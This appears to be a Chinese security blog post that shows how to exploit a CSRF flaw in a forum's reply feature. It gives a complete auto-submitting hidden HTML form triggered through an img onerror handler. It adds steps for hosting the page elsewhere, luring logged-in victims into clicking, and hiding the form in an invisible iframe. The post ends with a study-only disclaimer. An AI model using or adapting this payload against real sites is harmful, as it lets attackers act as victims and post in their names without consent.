Web服务器对发送来的请求没有验证来源，就很容易出现csrf攻击。csrf的相关介绍见易踪网的另一篇文章：https://www.yeetrack.com/?p=220，由于目标网站没有对发送到服务器的请求做来源验证，因此存在漏洞。攻击者可以冒充登录用户发贴，留言等一些操作。
首先我们正常登录目标网站，打开burp suite的代理（有关burp suite参见易踪网文章：https://www.yeetrack.com/?p=173）。再次进入浏览器，编辑留言，发出。burp suite截取到post数据包，进行查看。如截图：
查看其中post的相关参数，包含用户cookie和发贴的内容信息，没有加入tokenid和refferer验证，这样一般就可能存在csrf的漏洞。
手动编写一个html，内含form表单，表单中含有hupu网发贴需要的信息。html文件如下：
<!DOCTYPE html><!--STATUS OK-->
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=7">
<meta http-equiv="content-type" content="text/html;charset=utf-8">
</head>
<body>
<form method="POST" name="transfer" id="333" action="http://helloworld.com/post.php"> //修改成目标地址
<input type="hidden" name="atc_content" value="%BA%DC%BA%C3%B5%C4%D2%BB%C6%AC%CE%C4%D5%C2%A1%A3">
<input type="hidden" name="usevote" value="0">
<input type="hidden" name="douid" value="1">
<input type="hidden" name="votetype" value="bbs">
<input type="hidden" name="votetitle" value="">
<input type="hidden" name="votename%5B%5D" value="">
<input type="hidden" name="votename%5B%5D" value="">
<input type="hidden" name="votename%5B%5D" value="">
<input type="hidden" name="editnum" value="3">
<input type="hidden" name="nowitnum" value="3">
<input type="hidden" name="voteclass" value="">
<input type="hidden" name="postfast" value="2">
<input type="hidden" name="atc_title" value="Re%3A%BF%C6%B1%C8%CA%C7%CF%D6%D2%DB%D6%D0%C0%FA%CA%B7%B5%D8%CE%BB%D7%EE%B8%DF%B5%C4%C2%F0%3F">
<input type="hidden" name="atc_usesign" value="1">
<input type="hidden" name="atc_convert" value="1">
<input type="hidden" name="atc_autourl" value="1">
<input type="hidden" name="step" value="2">
<input type="hidden" name="action" value="reply">
<input type="hidden" name="fid" value="1048">
<input type="hidden" name="tid" value="4335054">
<input type="hidden" name="subject" value="%BF%C6%B1%C8%CA%C7%CF%D6%D2%DB%D6%D0%C0%FA%CA%B7%B5%D8%CE%BB%D7%EE%B8%DF%B5%C4%C2%F0%3F">
<input type="hidden" name="editor" value="0">
<input type="hidden" name="atc_attachment" value="none">
<input type="hidden" name="replayofpage" value="">
<input type="hidden" name="replaymeta" value="1">
</form>
<script type="text/javascript">
function stealpage()
{
document.getElementById("333").submit();
}
</script>
<img src="123" onerror="javascript:stealpage()">
</body>
</html>
其后，把我们的html上传到第三方服务器，把该html的url发布在目标网上或者直接向被攻击者发送url，诱使点击。只要被攻击者登录了目标网站，又点击了该链接，被攻击者的浏览器就会附带上自己的cookie和html中的form表单向目标网站发起post请求，由于服务器没有校验发起方的身份，请求被认为是合法的（因为请求中包含了被攻击者的cookie），提交成功。
为了隐蔽，编写html时可以将form表单编写在一个不可见的iframe中，这样被攻击者就感觉不到攻击的存在了。
本文由youthflies发表在易踪网上的原创文章，链接地址https://www.yeetrack.com/?p=226， 本方法只为学习研究之用，请勿在未授权的情况下做实际破坏性动作。
谷歌渗透测试之信息搜集
探测网站(一)burp suite探测Web目录
探测网站(二)httprint探测Web服务器类型
探测网站(三)nikto探测Web服务器漏洞
探测网站(四)burp suite暴力猜解密码
版权声明
本站文章、图片、视频等（除转载外），均采用知识共享署名 4.0 国际许可协议（CC BY-NC-SA 4.0），转载请注明出处、非商业性使用、并且以相同协议共享。
© 空空博客，本文链接：https://www.yeetrack.com/?p=134
近期评论